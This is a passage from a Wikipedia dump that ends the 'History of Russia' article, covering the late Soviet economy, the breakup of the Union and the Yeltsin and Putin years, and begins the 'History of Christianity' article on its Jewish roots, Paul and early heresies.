Despite Khrushchev's tinkering with economic planning, the economic system remained dependent on central plans drawn up with no reference to market mechanisms. As a developed industrial country, the Soviet Union by the [[1970s]] found it increasingly difficult to maintain the high rates of growth in the industrial sector that it had enjoyed in earlier years. Increasingly large investment and labor inputs were required for growth, but these inputs were becoming more difficult to obtain, partly because of the new emphasis on production of consumer goods. Although the goals of the five-year plans of the 1970s had been scaled down from previous plans, the targets remained largely unmet. Agricultural development continued to lag in the Brezhnev years.

Although certain appliances and other goods became more accessible during the [[1960s]] and 1970s, improvements in housing and food supply were not sufficient. The growing culture of [[consumerism]] and shortages of consumer goods, inherent in a non-market pricing system, encouraged pilferage of government property and the growth of the [[black market]]. But, in contrast to the revolutionary spirit that accompanied the birth of the Soviet Union, the prevailing mood of the Soviet leadership at the time of Brezhnev's death in 1982 was one of aversion to change.

===Impending breakup of the Union===
Two developments dominated the decade that followed: the increasingly apparent crumbling of the Soviet Union's economic and political structures, and the patchwork attempts at reforms to reverse that process. After the rapid succession of [[Yuri Andropov]] and [[Konstantin Chernenko]], transitional figures with deep roots in Brezhnevite tradition, the relatively young and energetic [[Mikhail Gorbachev]] made significant changes in the economy and the party leadership. His policy of ''[[glasnost]]'' freed public access to information after decades of government repression. But Gorbachev failed to address the systemic crisis of the Soviet system; by [[1991]], when a plot by government insiders (''see'' [[Soviet coup attempt of 1991|August coup]]) revealed the weakness of Gorbachev's political position, the end of the Soviet Union was in sight.

At the end of World War I, the vast empires of the Ottomans, the Habsburgs, and the Romanovs collapsed, leaving Eastern Europe and Eurasia in turmoil. Only the Russian empire was reconfigured, under Bolshevik leadership. Stalin led it through industrialization and the Nazi onslaught to become a superpower rivaling the United States. Yet the Soviet Union remained essentially an empire, held together by a party rather than tsar. The command economy proved progressively less able to cope with postindustrial technologies and with the demands of the new industrial middle class and well-educated bureaucracy forged under its tutelage. Gorbachev's ''[[Perestroika]]'' spelled deconstruction of the economy; and ''glasnost'' allowed ethnic and nationalist disaffection to reach the surface. When Gorbachev tried to reform the party, he weakened the bonds that held the state and union together.

===The emergence of the Russian republic in the Soviet Union===
[[Image:Gorbachev and Yeltsin.jpg|thumb|right|250px|Gorbachev has accused Boris Yeltsin, his old rival and Russia's first post-Soviet president, of tearing the country apart out of a desire to advance his own personal interests.]]
Because of the dominant position of Russians in the Soviet Union, most gave little thought to any distinction between Russia and the USSR before the late [[1980s]]. However, the fact that the Soviet regime was dominated by Russians did not mean that the Russian SFSR necessarily benefited from this arrangement. In the Soviet Union, Russia lacked even the paltry instruments of statehood that the other republics possessed, such as its own republic-level Communist Party branch, [[KGB]], trade union council, Academy of Sciences, and the like. The reason of course is that if these organizations had had branches at the level of the Russian SFSR, they would have threatened the power of Union-level structures.

In the late 1980s, Gorbachev underestimated the importance of the Russian Soviet Federative Socialist Republic emerging as a second power base to rival the Soviet Union. A Russian nationalist backlash against the Union came with many Russians arguing that Russia had long been subsidizing other republics, which tended to be poorer, with cheap oil, for instance. Demands were growing for Russia to have its own institutions, underdeveloped because of the equation of the Russian republic and the Soviet Union. As Russian nationalism became vocal in the late 1980s, a tension emerged between those who wanted to hold the Russian-dominated Union together and those who wanted to create a strong Russian state.

This tension came to be personified in the bitter power struggle between Gorbachev and [[Boris Yeltsin]]. Squeezed out of Union politics by Gorbachev in [[1987]], Yeltsin, an old-style party boss with no dissident background or contacts, needed an alternative platform to challenge Gorbachev. He established it by representing himself as both a Russian nationalist and a committed democrat. In a remarkable reversal of fortunes, he gained election as chairman of the Russian republic's new Supreme Soviet in May [[1990]], becoming in effect Russia's first directly elected president. The following month, he secured legislation giving Russian laws priority over Soviet laws and withholding two-thirds of the budget.

The [[Soviet coup attempt of 1991|August 1991 coup]] by Communist hardliners was later foiled with the help from Yeltsin. The coup plotters had intended to save the party and the Union; instead, they hastened the demise of both.

The Soviet Union officially broke up on [[December 25]], [[1991]]. The final act of the passage of power from the Soviet Union to Russia was the passing of the briefcases containing codes that would launch the Soviet nuclear arsenal from Gorbachev to Yeltsin.

==Russian Federation==
''Main article: [[History of post-Soviet Russia]]''
[[Image:October1993crisis.jpg|framed|left|The shelling of the [[White House of Russia|Russian White House]], October 4, 1993]]
By the mid-[[1990s]] Russia had a system of multiparty electoral politics. But it was harder to establish a representative government because of two structural problems&amp;mdash;the struggle between president and parliament and the anarchic party system. Although Yeltsin had won plaudits abroad for casting himself as a democrat to weaken Gorbachev, his conception of the presidency was highly autocratic. He either acted as his own prime minister (until June [[1992]]) or appointed men of his choice, regardless of parliament.

Meanwhile, the profusion of small parties and their aversion to coherent alliances left the legislature chaotic. During [[1993]], Yeltsin's rift with the parliamentary leadership led to the [[Russian constitutional crisis of 1993|September&amp;ndash;October 1993 constitutional crisis]]. The crisis climaxed on [[October 3]], when Yeltsin chose a radical solution to settle his dispute with parliament: he called up tanks to shell the [[White House of Russia|Russian White House]], blasting out his opponents. As Yeltsin was taking the unconstitutional step of dissolving the legislature, Russia came the closest to serious civil conflict since the revolution of 1917. Yeltsin was then free to impose a constitution with strong presidential powers, which was approved by referendum in December 1993. But the December voting also saw sweeping gains for communists and nationalists, reflecting growing disenchantment with the costs of [[neoliberalism|neoliberal]] economic reforms.

Although Yeltsin came to power on a wave of optimism, he never recovered his popularity after endorsing [[Yegor Gaidar]]'s &quot;[[shock therapy (economics)|shock therapy]]&quot; of ending Soviet-era price controls, drastic cuts in state spending, and an open foreign trade regime in early [[1992]] (''see'' [[Economy of Russia#Economic Reform in the 1990s|Russian economic reform in the 1990s]]). The reforms immediately devastated the living standards of much of the population, especially the groups that had enjoyed the benefits of Soviet-era state-controlled wages and prices, state subsidies, and welfare entitlement programs. In the 1990s Russia suffered an economic downturn more severe than the United States or Germany had undergone six decades earlier in the Great Depression.&lt;sup&gt;[[#Notes|3]]&lt;/sup&gt;

Economic reforms also consolidated a semi-criminal oligarchy with roots in the old Soviet system. Advised by Western governments, the [[World Bank]], and the [[International Monetary Fund]], Russia embarked on the largest and fastest [[privatization]] that the world had ever seen. By mid-decade, retail, trade, services, and small industry was in private hands. Most big enterprises were acquired by their old managers, engendering a new rich ([[Russian oligarch]]s) in league with criminal mafias or Western investors.&lt;sup&gt;[[#Notes|4]]&lt;/sup&gt; At the bottom, many workers were forced by inflation or unemployment into poverty, prostitution, or crime. Meanwhile, the central government had lost control of the localities, bureaucracy, and economic fiefdoms; tax revenues had collapsed. Still in deep depression by the mid-1990s, Russia's economy was hit further by the financial crash of [[1998]].

Nevertheless, reversion to a socialist command economy seemed almost impossible, meeting widespread relief in the West. Russia's economy has also recovered somewhat since [[1999]], thanks to the rapid rise of the world price of oil, by far Russia's largest export, but still remains far from Soviet-era output levels.

After the 1998 financial crisis, Yeltsin was at the end of his political career. Just minutes before the first day of [[2000]], Yeltsin made a surprise announcement of his resignation, leaving the government in the hands of the little-known Prime Minister [[Vladimir Putin]], a former KGB official and head of the KGB's post-Soviet successor agency. In 2000, the new acting president easily defeated his opponents in the presidential election on [[March 26]], winning on the first ballot. In 2004 he was reelected with 71 percent of the vote and his allies won legislative elections, but with international and domestic observers citing flaws. International observers were even more alarmed by late [[2004]] moves to further tighten the presidency's control over parliament, civil society, and regional officeholders.

==Notes==
&lt;small&gt;
&lt;sup&gt;1&lt;/sup&gt; For a discussion of the development of the class structure in Tsarist Russia see [[Theda Skocpol|Skocpol, Theda]]. ''[[States and Social Revolutions]]: A Comparative Analysis of France, Russia, and China''. Cambridge U Press, 1988.&lt;br&gt;
&lt;sup&gt;2&lt;/sup&gt; For an analysis of the reaction of the elites to the revolutionaries see Manning, Roberta. ''The Crisis of the Old Order in Russia: Gentry and Government''. Princeton University Press, 1982.&lt;br&gt;
&lt;sup&gt;3&lt;/sup&gt; Peter Nolan, ''China's Rise, Russia's Fall''. Macmillan Press, 1995. pp. 17&amp;ndash;18.&lt;br&gt;
&lt;sup&gt;4&lt;/sup&gt; See Fairbanks, Jr., Charles H. 1999. &quot;The Feudalization of the State&quot;. ''Journal of Democracy'' 10(2):47&amp;ndash;53.&lt;br&gt;

==References==
'''Pre-revolutionary Russia'''
*Becker, Seymour. &quot;Nobility and Privilege in Late Imperial Russia&quot;, in ''American Historical Review'' 92:4 (October 1987) pp. 1006&amp;ndash;1007.
*Russia : a country study / Federal Research Division, Library of Congress; edited by Glenn E. Curtis. Washington, DC : Federal Research Division, Library of Congress,1998. DK510.23 .R883 1998
*Hobsbawm, Eric. ''The Age of Revolution'', 1789&amp;ndash;1848 Vintage, 1996.
*Manning, Roberta. ''The Crisis of the Old Order in Russia: Gentry and Government''. Princeton University Press, 1982.
*Skocpol, Theda. ''States and Social Revolutions: A Comparative Analysis of France, Russia, and China''. Cambridge U Press, 1988.
'''Soviet era'''
*Cohen, Stephen F. ''Rethinking the Soviet Experience: Politics and History since 1917''. New York: Oxford University Press, 1985.
*Fitzpatrick, Sheila. ''The Russian Revolution''. New York: Oxford University Press, 1982.
*Goldman, Marshall I. &quot;Economic Problems in the Soviet Union&quot;, ''Current History'', 82, October 1983, 322&amp;ndash;25.
*Paul R. Gregory and Robert C. Stuart, ''Russian and Soviet Economic Performance and Structure'', Addison-Wesley,Seventh Edition, 2001/
*Lewin, Moshe. ''Russian Peasants and Soviet Power''. Evanston: Northwestern University Press, 1968.
*McCauley, Martin. ''The Soviet Union 1917&amp;ndash;1991''. 2d ed. London: Longman, 1993.
*Remington, Thomas. ''Building Socialism in Bolshevik Russia''. Pittsburgh: University of Pittsburgh Press, 1984.
'''Post-Soviet era'''
*Cohen, Stephen. ''Failed Crusade: America and the Tragedy of Post-Communist Russia''. New York: W.W. Norton, 2000.
*Fairbanks, Jr., Charles H. 1999. &quot;The Feudalization of the State.&quot; ''Journal of Democracy'' 10(2):47&amp;ndash;53.
*Paul R. Gregory and Robert C. Stuart, ''Russian and Soviet Economic Performance and Structure'', Addison-Wesley, Seventh Edition, 2001.
*Medvedev, Roy. ''Post-Soviet Russia A Journey Through the Yeltsin Era''
{{Spoken Wikipedia-2|2004-08-09|RussianHistory1.ogg|RussianHistory2.ogg}}
{{commonscat|Historical maps of Russia}}
*[http://www.badley.info/history/Russia.country.year.index.html Russia chronology World History Database]

==See also==
*[[Politics of Russia]]
*[[Economy of Russia]]
*[[Russian colonization of the Americas]]
*[[History of the administrative division of Russia]]
*[[List of famous Russians]]
*[[History of the Jews in Russia and the Soviet Union]]
*[[Military history of the Soviet Union]]
*[[Timeline of Russian history]]

[[Category:History of Europe|Russia]]
[[Category:History of Russia| ]]

[[ar:تاريخ روسيا]]
[[de:Geschichte Russlands]]
[[es:Historia de Rusia]]
[[fr:Histoire de la Russie]]
[[ko:러시아의 역사]]
[[hr:Povijest Rusije]]
[[it:Storia della Russia]]
[[he:היסטוריה של רוסיה]]
[[lt:Rusijos istorija]]
[[nl:Geschiedenis van Rusland]]
[[ja:ロシアの歴史]]
[[no:Russlands historie]]
[[nn:Russisk historie]]
[[pl:Historia Rosji]]
[[pt:História da Rússia]]
[[ru:История России]]
[[sr:Историја Русије]]
[[fi:Venäjän historia]]
[[sv:Rysslands historia]]
[[uk:Історія Росії]]
[[zh:俄罗斯历史]]</text>
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  </page>
  <page>
    <title>History of Christianity</title>
    <id>14117</id>
    <revision>
      <id>42119334</id>
      <timestamp>2006-03-03T23:16:24Z</timestamp>
      <contributor>
        <username>Neddyseagoon</username>
        <id>883252</id>
      </contributor>
      <comment>/* Developing Christianity outside the Mediterranean world */</comment>
      <text xml:space="preserve">{{christianity}}
This article outlines the '''history of [[Christianity]]''' and provides links to relevant topics.

== Roots of Christianity ==
To see Christianity's common roots and relationship with other world religions, see [[Christianity and world religions]].

=== Jewish background ===
{{main articles|[[Christ]] and [[Messiah]]}}
Christian beliefs state that the preincarnate Christ was involved in the Creation of all things ([[John]] 1:3, [[Colossians]] 1:16, [[Hebrews]] 1:2) and as Angel of Yahweh (see [[Genesis]] 16:7-14; Genesis 24:7; [[Exodus]] 14:19; [[2 Kings]] 19:35; [[1 Chronicles]] 21:1-27; [[Zechariah]] 1:12-13; [[1 Corinthians]] 10:4).  The peoples, whose faith point to this Messiah, began with Adam and Eve (Genesis 3:15) and continued as the Jewish &quot;nation.&quot;

Jesus and his first [[disciples|followers]] were [[Jew]]s and Jewish [[Proselytes]].  His teaching was based on the [[Hebrew Scriptures]], and he sometimes referred to other traditional writings of [[Judaism]].  Christianity continued to use the Jewish [[scriptures]] (the [[Tanakh]] became their [[Old Testament]]) and accept such  fundamental [[doctrines]] of Judaism as [[monotheism]], (and thus, in turn, Judaism's sole deity [[God#Biblical definition of God|YHWH]]) and the belief in a moshiach ([[Hebrew language|Hebrew]] term usually rendered [[messiah]] in English, which is equivalent to the term, [[Christ]] &amp;mdash; ''Christos'' in [[Greek language|Greek]]).  However, from the outset, according to the [[New Testament]], the teachings of Jesus were seen by the Jewish religious leaders as being incompatible with Judaism, which itself was very diverse during the time of [[Iudaea Province]].

In a New Testament account which is contested by many Jews as being non-historical, the temple priesthood and the [[Sanhedrin]] (the supreme religious and civic court of [[Jerusalem]], at that time) conspired to have Jesus put to death by the Roman authorities.  He taught things about his identity and authority which they believed were incompatible with the [[Mosaic Law]], with the Jewish traditions of doctrine and of the worship of the God of Israel.  &quot;This was why the Jews were seeking all the more to kill him, because not only was he breaking the [[Sabbath]], but he was even calling God his own Father, making himself equal with God.&quot; ([[Gospel of John|John]] 5:18 ([[ESV]])). Some testified that he sought to destroy [[Herod's Temple]]: &quot;Now the chief priests and the whole Council were seeking false testimony against Jesus that they might put him to death&quot; ([[Gospel of Matthew|Matthew]] 26:59 (ESV)).  From the time of his [[crucifixion]] forward, the Jewish leaders are said to have attempted to suppress those who followed his teaching. But, after his death and resurrection, according to the ''[[Acts of the Apostles]]'', the [[Twelve Apostles|apostles]] formed a community, a church distinct from other Jews and Greeks, into which they allowed uncircumcised [[Gentiles]] to enter by [[baptism]]. They began to be called [[Nazarenes]] and [[Christians]], while openly declaring Jesus to be the Christ. 

Christianity also continued many of the patterns found in Judaism at that time, such as adapting the [[liturgical]] form of worship of the [[synagogue]] to [[church]] [[parishes]]; [[prayer]]; use of sacred scriptures; a [[priesthood]]; a religious [[calendar]] in which certain events and/or beliefs are specifically commemorated on certain days each year; use of [[music]] in hymns and prayer; giving [[tithe]]s to the Church; and [[ascetic]] disciplines such as [[fasting]] and [[alms|almsgiving]]. Christians initially adopted the Greek translations of the Jewish scriptures, known as the [[Septuagint]], as their own [[Bible]], and later also [[biblical canon|canonized]] the books of the [[New Testament]].

=== Life of Jesus of Nazareth ===
*[[Jesus]] 
*[[Historical Jesus]]
*[[Sermon on the Mount]]
*[[Apostle|Twelve Apostles]]
*[[Pharisees]]
*[[John the Baptist]]

== Earliest emergence of Christianity ==
Debatably and Biblically speaking, Christianity began with the Messianic promise (Genesis 3:15) at the dawn of creation and therefore with Adam and Eve, the first people with faith in the Messiah (Christ) to come.  It then follows the history of those peoples, mostly the Jewish &quot;nation,&quot; who kept that faith.  The term &quot;Christian&quot; itself is however not really recognized until the first century AD at Antioch as recorded in Acts 11:26.

By way of secular history, Christianity began among a small number (about 120, see Acts 1:15) of [[Jews]] and Jewish [[Proselytes]]. By the 3rd century AD, Christianity had grown to become the dominant religion of the northern [[Mediterranean]] world.  It also gained important extensions to the east and south of the Mediterranean.  The core [[history of the Roman Catholic Church]] is said to extend in an unbroken timeline from this period.  This section will examine those first 300 years.

===Earliest Church===
The term &quot;Early [[Jewish Christians]]&quot; is often used in discussing [[early Christianity]].  [[Jesus]], his twelve [[Twelve Apostles|Apostles]], the [[Elder (religious)|Elders]], and all or essentially all of his early [[disciple|followers]] were [[Jewish]] or Jewish [[Proselytes]].  Hence the 3,000 converts on the [[Pentecost]] following the [[Crucifixion]] described in Acts 2 were all Jews and Proselytes. All converts to Christianity were non-[[Gentile]] prior to the conversion of the [[Roman Empire|Roman]] officer [[Cornelius]] by [[Simon Peter]] ([[Aramaic of Jesus#Cephas|Kephas]]) in Acts 10, who is traditionally considered the first Gentile convert to Christianity.  The major division in Christianity prior to that time was between [[Hellenism|Hellenistic]] and non-Hellenistic Jews or [[Koine Greek]] (Acts 6) and [[Aramaic]] (Acts 1:19) speakers.  However, after the conversion of Cornelius and his acceptance as a Christian, there was now another group &amp;mdash; Gentile Christians. As an [[eschatological]] movement, they anticipated that the Gentiles would turn to the God of Israel as prophesied by [[Isaiah]] in Isaiah 56:6-8. The [[New Testament]] does not use the terms &quot;Gentile-Christians&quot; or &quot;Jewish-Christians&quot;. Rather, [[Paul of Tarsus]] wrote against those who were  [[History of male circumcision#Male Circumcision in the Greco-Roman World|circumcised]], who separated themselves from the uncircumcised:
:&quot;Here there is no Greek or Jew, circumcised or uncircumcised, barbarian, Scythian, slave or free, but Christ is all, and is in all.&quot; Colossians 3:11 

Circumcised and uncircumcised are generally interpreted to mean [[Jews]] and [[Greeks]], who were predominate. However, it is an oversimplification as 1st century [[Iudaea Province]] also had some Jews who no longer circumcised, and some Greeks (called [[Proselytes]] or [[Judaizers]]) and others such as Egyptians, Ethiopians, and Arabs who did.

For 250 years it was a martyrs' church; the persecutions were fueled by the refusal of Christians to worship the state and the Roman emperor. There were persecutions under [[Nero]], [[Domitian]], [[Trajan]] and the other [[Antonines]], [[Maximinus Thrax]], [[Decius]], [[Valerian (emperor)|Valerian]], [[Diocletian]] and [[Galerius]]; Decius ordered the first official persecution in 250. In 313, [[Constantine I (emperor)|Constantine I]] and [[Licinius]] announced toleration of Christianity in the [[Edict of Milan]]. In the East the church passed from persecution directly to imperial control ([[caesaropapism]]), inaugurated by Constantine, enshrined later in [[Justinian]]'s laws, and always a problem for the Orthodox churches. In the West the church remained independent because of the weakness of the emperor and the well-established authority of the bishop of Rome.

===Break with Judaism===
[[Apostle Paul|Paul's]] [[Epistle to the Galatians]] is a vigorous letter against those who would &quot;force the Gentiles to follow Jewish customs&quot; (2:14). He writes in strong terms that if the Gentiles keep these customs as an obligation, and are circumcised, then &quot;Christ will be of no value to you at all&quot; (5:2) and if that were not so, and these ordinances were a requirement, then &quot;Christ died for nothing&quot; (2:21). 

Paul claims in the letter, and elsewhere, that this message of his was not a contradiction of the 12 Apostles. Rather, it was entrusted to him for the sake of those who were not circumcised, just as much as [[Apostle Peter|Peter]] was sent to those circumcised, as he writes in Galatians 2:7-9:
:&quot;On the contrary, when they saw that I had been entrusted with the gospel for the uncircumcised, just as Peter had been entrusted with the gospel for the circumcised (for he who worked through Peter making him an apostle to the circumcised also worked through me in sending me to the Gentiles), and when James and Cephas and John, who were acknowledged pillars, recognized the grace that had been given to me, they gave to Barnabas and me the right hand of fellowship, agreeing that we should go to the Gentiles and they to the circumcised.&quot; ([[NRSV]])

In support of the view that Paul was not acting independently, the [[Council of Jerusalem]], according to Acts 15, determined that circumcision was not required of new converts, but counseled them to avoid &quot;pollution of idols, fornication, things strangled, and blood&quot; (Acts15:20 [[KJV]]). The basis for these prohibitions is expressly clear, Acts 15:21 states: &quot;For Moses from ancient generations has in every city those who preach him, since he is read in the synagogues every Sabbath&quot; ([[NIV]]); meaning that, these measures are based on the [[Law of Moses]]. Some interpret this to mean the Gentiles are instructed to comply in these matters, not as a principle of law, but rather in order not to give offense to those among whom they live who are under the ancient instruction of the synagogues. Some argue that the small set of requirements imposed on the Gentile Christians by the Council was not arbitrarily chosen but corresponds to teachings of [[Pharisees|Pharisaic Judaism]] concerning God's covenant with all nations, in their common father [[Noah]], and are therefore called [[Noahide Laws#Christian adoption of the Noahide Laws.3F|Noahide Laws]]. 

But Paul did frequently clash with a group of &quot;[[Judaize|Judaizing]] Christians&quot;. In [[2 Corinthians]] 11:5 and 12:11 he called his opponents ''super-apostles''. He wrote to the Galatians describing how he rebuked Peter in public for lending credence by his actions to the view that adherence to Christ included [[kashrut|food laws]]. Nevertheless, the requirements of the Law in ethical (as opposed to cultural terms) are clearly upheld by Paul, as he is understood by the mainstream of Christian interpretation.  Paul upholds the Law as mediated through Christ rather than through the ordinances of God which before Christ's coming set the Jews apart from the Gentiles. In contrast to these ordinances, which divided Jew from Gentile, Christ makes them into one people, according to Paul (Ephesians 2:14-15):
:For he himself is our peace, who has made the two one and has destroyed the barrier, the dividing wall of hostility, by abolishing in his flesh the law with its commandments and regulations. His purpose was to create in himself one new man out of the two, thus making peace, and in this one body to reconcile both of them to God through the cross, by which he put to death their hostility.

The New Testament depicts Paul as Law-observant, for the sake of the Jews. In Acts 16 he ''personally'' circumcised [[Timothy]], a Greek, whose father was Greek, because his mother was of the Jewish faith; and in Acts 21, James challenged Paul about the rumor that he was teaching rebellion against the Law. Paul followed James' recommendation to go to [[Herod's Temple]] with four [[Nazarite]] pledges to show that he &quot;kept and walked in the ways of the Law&quot;; however, when some people from [[Asia Minor]] (Paul's home area) saw him, it started a major riot. 

Paul is a complex person, in [[First Epistle to the Corinthians|1st Corinthians]] 9:20-22, he wrote:
:&quot;To the Jews I became as a Jew, in order to win Jews. To those under the law I became as one under the law (though I myself am not under the law) so that I might win those under the law. To those outside the law I became as one outside the law (though I am not free from God’s law but am under Christ’s law) so that I might win those outside the law. To the weak I became weak, so that I might win the weak. I have become all things to all people, that I might by all means save some.&quot; (NRSV)

Also, [[Second Epistle of Peter|2nd Peter]] 3:16 on the Letters of Paul states:
:&quot;... There are some things in them hard to understand, which the ignorant and unstable twist to their own destruction, as they do the other scriptures.&quot; (NRSV)

The use of Paul (or abuse, as traditionalists hold) to invent a radical separation between Christianity and all things Jewish has frequently flared up, beginning in earliest times and throughout the history of the Christian Church.  [[Marcionism]] a 2nd century sect, still called the &quot;most dangerous&quot; [[heresy]] ever confronted by the [[Catholic Church]], rejected the Apostles, and interpreted a [[Jesus]] who rejected the [[Law of Moses]] using 10 [[Pauline Epistles]] and a version of the [[Gospel of Luke]] that was heavily edited by Marcion himself. Modern tendencies to claim that the [[Old Testament]] does not contain valid Christian instruction for today or to claim that Paul's &quot;freedom  in Christ&quot; meant [[antinomianism]] as the rumor cited in Acts 21:21, though common, are still condemned under the name of Marcionism.  [[Irenaeus]] in turn rejected Marcion and praised the Apostles in his ''Against Heresies'' 3.12.12:[http://www.ccel.org/fathers2/ANF-01/anf01-60.htm#P7525_2024213]
:&quot;...being brought over to the doctrine of [[Simon Magus]], they have apostatized in their opinions from Him who is God, and imagined that they have themselves discovered more than the apostles, by finding out another god; and [maintained] that the apostles preached the Gospel still somewhat under the influence of Jewish opinions, but that they themselves are purer [in doctrine], and more intelligent, than the apostles.&quot;

Many modern scholars wonder what happened to those who required circumcision for Gentile converts. (An obvious answer is the [[Ethiopian Orthodox]] and [[Coptic Orthodox]] who still practice circumcision.) Referring to the &quot;non-Pauline&quot; [[Twelve Apostles|apostles]] as [[Nazarenes]] ([[Saint James|James]], [[Saint Peter|Peter]] and [[John the Apostle|John]]), these scholars have pieced together evidence that [[Jewish Christians|Jewish sects of Christianity]] grew and thrived for a while in Judea and the surrounding areas, which they speculate were more closely followers of the Nazarenes in contrast to the [[Pauline Christianity|Pauline Christians]]. They attempt to trace these early Nazarene Christians through later groups, such as the [[Ebionites]] and [[Elkasites]], who are derogatively called ''re-Judaizers'', and who rejected the Christian movement as it was developing among the Pauline Christians. In other words, they believe that contrary to the writer of the Galatians, a rift between Paul and the other apostles was radical and permanent.  These controversial views have strong endorsement from modern academia, and the theories are advanced as a significant correction of the [[History of the Roman Catholic Church|Roman Catholic Church's account of its own history]], which tradition has lost. See also [[Great Apostasy]].

The [[Didache]] and other writings in the [[Apostolic Fathers]] collection further document early church practice.

Observance of the [[Sabbath]] and [[Quartodeciman]] were also early issues.

===Martyrs===
*[[Saint Stephen|Saint Stephen, Deacon]] the protomartyr (first martyr)
*[[Saint James the Great|James the son of Zebedee]]
*[[Paul of Tarsus|Saint Paul]]
*[[Saint Peter]]
*[[Ignatius of Antioch]], disciple of [[Saint Peter]] and first bishop of Antioch after him
*[[Polycarp]], bishop of Smyrna and disciple of [[John the Evangelist]]

===Apologists===
*[[Justin Martyr]], convert from Greek philosophy
*[[Irenaeus of Lyons]], bishop of Lyons, categorized heresies in order to refute them
*[[Clement of Rome]], 3rd/4th bishop of Rome ([[Pope]])

===House Churches===
*[[Dura-Europos]], [[Syria]] is the site of the earliest discovered identifiable Christian house church.

===New Testament apocrypha===
The early Christians produced many historically significant [[New Testament Apocrypha]], canons, and other literature described church organization. One of the earliest of these is the [[Didache]], which is usually dated to the late first or early 2nd century.

=== Early heresies ===
Disputes of doctrine began early on. The newly-organized church organized councils to sort matters out. Councils representing the entire church were called [[ecumenical council]]s. Some groups were rejected as [[heresy|heretics]].

*[[Simon Magus|Simonianism]]
*[[Nicolaitan|Nicolaitanism]]
*[[Judaizers]]
*[[Gnosticism]] (based on &quot;secret wisdom&quot; from Paul in Romans 16:25)
*[[Marcionism]] (called the most dangerous threat ever faced)
*[[Montanism]] (claiming new revelations to new prophets and an imminent Millenial kingdom)
*[[Alogi]]
*[[Mandaeanism]]
*[[Monarchianism]]
*[[Nestorianism]] (advanced by [[Nestorius]], a [[patriarch of Constantinople]])
*[[Apollinarianism]]
*[[Arianism]] (4th century, advanced by [[Arius]], a priest)

====Arianism====
Arius (250 - 336 CE) proposed that Jesus and God were very separate and different entities: Jesus was closer to God than any other human being, but he was born a man, had no prior existence, and was not a god. On the other hand, God has existed forever. Arius felt that any attempt to recognize the deity of Christ would blur the lines between Christianity and the Pagan religions. If Christianity recognized two separate gods, the Father and Jesus, it would become a polytheistic religion.

Although most writings of Arius were destroyed by the early Catholic Church and the [[Roman Emperor]] [[Constantine I (emperor)|Constantine]], we can infer from [[Athanasius]]' arguments against Arius some idea of the movement.  Basically, Arius was a leader of Christians who had a very particular understanding of the early [[trinitarianism]] movement, reflecting the divine nature of Christ.  Arius' hypothesis, to our knowledge, was that Jesus was created by God (as in, &quot;There was a time when the Son was not&quot;), and hence, was secondary to God. His primary proof text was John 17:3. Athanasius' position was that Jesus was and always had been divine, and had a divine nature along with the Father and the Holy Spirit.

====Gnosticism====
A Greek philosophical/religious movement known as [[Gnostic]]ism had developed at roughly the same time as Christianity. Many followers of this movement ([[Valentinius]] being one of the most well-known) were also Christians, and taught a synthesis of the two belief systems. This produced a major controversy in the early church.

Gnostic interpretations differed from mainstream Christianity because orthodox Christians took the literal interpretation of the [[Gospels]]  as the correct one, whereas Gnostics tended to read them as [[allegory]]; thus the orthodox branch attracted greater numbers of adherents. This was observed quite early, for example, the second century [[Celsus]] (whose words are preserved in [[Origen]]'s ''Contra Celsum'', a text designed against Celsus) states that Christianity
:''continues to spread amongst the vulgar, nay one can even say it spreads because of its vulgarity, and the illiteracy of its adherents. And while there are a few moderate, reasonable, and intelligent people who are inclined to interpret its beliefs allegorically, yet it thrives in its purer form amongst the ignorant''

=== Competing religions ===
Christianity was not the only religion seeking and finding converts in the 1st century.  Modern historians of the Roman world often discern interest in what they tend to call ''[[mystery religions]]'' or ''mystery cults'' beginning in the last century of the [[Roman Republic]] and increasing during the centuries of the [[Roman Empire]].  Roman authors themselves, such as [[Livy]], tell of the importation of &quot;foreign gods&quot; during times of stress in the Roman state.  [[Judaism]], too, was receiving converts and in some cases actively evangelizing.  The New Testament reflects a class of people referred to as 'believers in God' who are thought to be Gentile converts, perhaps those who had not submitted to circumcision;  [[Philo]] of Alexandria makes explicit the duty of Jews to welcome converts.

====Mithraism====
Worship of [[Mithras]] (known as [[Mithraism]]) developed in the Roman army during the 1st century BC, though it is currently unknown how this particular mystery religion originated, as it appears to have little to do with the [[Zoroastrian]] [[Mithra]]. Since it developed amongst a group of highly mobile people (professional soldiers), it quickly spread to the outer regions of the empire. It soon proved to be one of the most popular of the mystery religions by the start of the 3rd century. Roman emperors were openly encouraging it as the religion favored by their empire.

The Mithras religion is thought to have its ultimate origin in the cult of Mithra, a [[Amesha Spenta|deity]] connected to popular forms of [[Zoroastrianism]] (though it is important to note that strictly, early Zoroastrianism is dualist, and modern Zoroastrianism is monotheist, and neither includes Mithra).

By the end of the 3rd century, the popular cults of [[Apollo]] and Mithras had started to merge into the syncretism known as ''[[Mithraism|Mithras Sol Invictus]]'' or simply ''[[Sol Invictus (disambiguation)|Sol Invictus]]'' (the unconquerable sun&amp;mdash;a term also used by other cults), and in 274 the emperor [[Aurelian]] made worship of this form official.

After the decree of [[Theodosius]] in 391, and subsequent suppression, many Mithraeums were converted into Christian churches (such as Notre-Dame du Taur, and the [[Church of San Clemente]]); these were often dedicated to the [[Michael (archangel)|archangel Michael]].

====Mandaeanism====
[[Mandaeanism]] was a Gnostic religion which revered [[John the Baptist]] instead of Jesus. According to legend, [[Mani (prophet)|Mani]] was a Mandaean. Mandaeanism still exists.

====Manichaeism====
[[Manichaeism]] was one of the major ancient religions. Though its organized form is mostly extinct today, a revival has been attempted under the name of Neo-Manichaeism. However, most of the writings of the founding [[prophet]] [[Mani (prophet)|Mani]] have been lost. Some scholars and anti-Roman Catholic polemicists argue that its influence subtly continues in Christian thought via [[Augustine of Hippo]], who converted to Christianity from Manichaeism and whose writing continues to be enormously influential among Catholic theologians.

The religion was founded by Mani, who reportedly was born in western [[Persian Empire|Persia]] and lived approximately 210-275 AD. The name Mani is mainly a title and term of respect rather than a personal name. This title was assumed by the founder himself and so completely replaced his personal name that the precise form of the latter is not known. Mani was likely influenced by Mandaeanism and began preaching at an early age. He claimed to be the [[Paraclete]], as promised in the New Testament: the [[Last Prophet]] and [[Seal of the Prophets]] that finalized a succession of men guided by God and included figures such as [[Zoroaster]], [[Hermes]], [[Plato]], [[Buddha]], and Jesus.

The Manichees made every effort to include all known religious traditions in their faith. As a result, they preserved many apocryphal Christian works, such as the [[Acts of Thomas]], that otherwise would have been lost. Mani was eager to describe himself as a &quot;disciple of Jesus Christ&quot;, but the orthodox church rejected him as a heretic.

== Second and third centuries ==
